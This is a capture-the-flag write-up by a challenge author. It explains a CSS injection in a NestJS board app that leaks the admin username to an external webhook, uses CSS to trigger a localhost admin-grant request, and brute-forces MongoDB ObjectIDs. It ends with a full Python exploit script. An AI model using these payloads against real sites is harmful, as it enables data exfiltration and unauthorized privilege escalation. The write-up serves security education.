DeadSec CTF 2024 Review
Information
Participated with DeadSec CTF 2024 Challenge Author
Comment
Hello!, This is Little stranger, who participated DeadSec CTF as a web challenge author of Colorful board
.
Thank you to everyone who enjoyed and praised the challenge, even though it was hastily created.
Next year, I will repay you with better quality challenges.
Write up
web/Colorful Board
Desc
First Flag is Admin’s username, Second Flag is Hidden Notice content.
Code Review
You can register with username, password, personalColor.
You can inject css with personalColor. But you can’t xss because of xss sanitizer.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
// src/api/post/pose.controller.ts
@Get('/edit/:id')
@UseGuards(AdminGuard)
@Render('post-edit')
async renderEdit(@Req() request: Request, @Param('id') id: Types.ObjectId) {
const post = await this.postService.getPostById(id);
const author = await this.userService.getUserById(post.user);
const user = request.user;
user.personalColor = xss(user.personalColor);
author.personalColor = xss(author.personalColor);
return { post: post, author: author, user: request.user };
}
1
2
3
4
5
6
7
8
9
10
// src/common/views/post-edit.hbs
<style>
.author {
color: {{{ author.personalColor }}}
}
.user {
color: {{{ user.personalColor }}}
}
</style>
Using css injection, You can leak one char of Admin username. So, You can repeat these leak payload to get full username. ( 💡Alert, You should split accounts because of cookie length limit )
Example
1
2
3
4
5
6
7
8
{
"username":"dummy",
"password":"dummy",
"personalColor":"black};input[class='user'][value^='DEAD{A']{ background: url('{webhook_url}/DEAD{A');}
input[class='user'][value^='DEAD{B']{ background: url('{webhook_url}/DEAD{B');}
input[class='user'][value^='DEAD{C']{ background: url('{webhook_url}/DEAD{C');}
(...)"
}
Next, We should get admin perm to get Notices.
Look at the /admin/grant
route. There is a LocalOnlyGuard.
So, We can use css injection to SSRF.
1
2
3
4
5
@Get('/grant')
@UseGuards(LocalOnlyGuard)
async grantPerm(@Query('username') username: string) {
return await this.adminService.authorize(username);
}
1
2
3
4
5
{
"username":"dummy",
"password":"dummy",
"personalColor":"red;}input{background: url('http://localhost:1337/admin/grant?username=dummy');"
}
Second FLAG is Hidden Notice.
It is Just Bruteforce Challenge. For Example
1
2
3
4
res = s.get(f"http://localhost:1337/admin/notice/66946f{timestamp}88520537f149f4a", headers=auth)
if "No Notice" not in res.text:
print(res.text)
exit()
💡For details, refer to mongodb objectID creation method.
Let’s put this all together and write exploit code.
Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import requests
import string
import json
url="http://localhost:1337"
webhook_url = "https://lqlcuwb.request.dreamhack.games"
characters = string.ascii_letters
mid = len(characters) // 2
first_half = characters[:mid]
second_half = characters[mid:]
digitChar = string.digits + "_"
FLAG="DEAD{"
# Admin username leak with CSS Injection
for i in range(16):
styles_alpha1 = [f"input[class='user'][value^='{FLAG}{char}']{{ background: url('{webhook_url}/{FLAG}{char}'); }}" for char in first_half]
styles_alpha2 = [f"input[class='user'][value^='{FLAG}{char}']{{ background: url('{webhook_url}/{FLAG}{char}'); }}" for char in second_half]
styles_digit = [f"input[class='user'][value^='{FLAG}{char}']{{ background: url('{webhook_url}/{FLAG}{char}'); }}" for char in digitChar]
payload = ["\n".join(styles_alpha1), "\n".join(styles_alpha2), "\n".join(styles_digit)]
for j in range(3):
reg = requests.post(f"{url}/auth/register", json={"username": f"t{i}{j}", "password":f"t{i}{j}", "personalColor": "red;}"+payload[j]})
if "saved" in reg.text:
s = requests.session()
res = s.post(f"{url}/auth/login", json={"username": f"t{i}{j}", "password":f"t{i}{j}"})
token = json.loads(res.text)['accessToken']
print(f'[+] Token: {token}')
auth = {'Authorization': f'Baerer {token}', 'Content-Type': 'application/json'}
res = s.post(f"{url}/post/write", headers=auth, json={"title": "asdf", "content": "asdf"})
res = s.get(f"{url}/post/all", headers=auth)
post_array = json.loads(res.text)
post_id = post_array[0]['_id']
print(post_id)
res = s.get(f"{url}/admin/report?url=http://localhost:1337/post/edit/{post_id}", headers=auth)
print(res.text)
leaked = input("Leaked Char: ")
FLAG += leaked
# CSRF with css Injection
reg = requests.post(f"{url}/auth/register", json={"username": "test", "password":"test", "personalColor": "red;}input{background: url('http://localhost:1337/admin/grant?username=dummy')"})
if "saved" in reg.text:
s = requests.session()
res = s.post(f"{url}/auth/login", json={"username": "test", "password":"test"})
token = json.loads(res.text)['accessToken']
print(f'[+] Token: {token}')
auth = {'Authorization': f'Baerer {token}', 'Content-Type': 'application/json'}
res = s.post(f"{url}/post/write", headers=auth, json={"title": "asdf", "content": "asdf"})
res = s.get(f"{url}/post/all", headers=auth)
post_array = json.loads(res.text)
post_id = post_array[0]['_id']
res = s.get(f"{url}/admin/report?url=http://localhost:1337/post/edit/{post_id}", headers=auth)
print(res.text)